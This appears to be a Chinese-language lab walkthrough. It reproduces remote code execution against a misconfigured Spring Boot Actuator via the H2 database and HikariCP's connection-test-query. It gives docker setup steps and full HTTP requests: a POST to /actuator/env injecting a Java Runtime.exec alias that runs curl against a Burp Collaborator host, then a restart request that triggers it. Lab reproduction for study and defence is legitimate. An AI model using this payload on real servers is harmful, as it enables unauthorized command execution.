0x00 前言
Spring Boot 框架是最流行的基于 Java 的微服务框架之一, 可帮助开发人员快速轻松地部署 Java 应用程序, 加快开发过程. 当 Spring Boot Actuator 配置不当可能造成多种 RCE, 因为 Spring Boot 2.x 默认使用 HikariCP 数据库连接池, 所以可通过 H2 数据库实现 RCE.
0x01 环境搭建
(1) 克隆 GitHub 上的项目
Git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
(2) 使用 docker 启动环境
先 cd 进入 spring-boot-actuator-h2-rce 目录然后执行以下命令
- docker build -t spaceraccoon/spring-boot-rce-lab .
- docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
(3) 访问: http://192.168.222.143:8080/actuator
0x02 漏洞复现
(1) 发送如下 POST 包配置 spring.datasource.hikari.connection-test-query 的值
- POST /actuator/env HTTP/1.1
- Host: 192.168.222.143:8080
- Content-Type: application/JSON
- Content-Length: 393
- {
- "name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"
- }
(2) 查看 / actuator/env
(3) 向端点 /actuator/restart 发送 POST 请求, 重启应用
- POST /actuator/restart HTTP/1.1
- Host: 192.168.222.143:8080
- Content-Type: application/JSON
- Content-Length: 2
- {
- }
(4) 查看 dnslog 可以看到成功执行命令收到请求
来源: https://www.cnblogs.com/cwkiller/p/12829974.html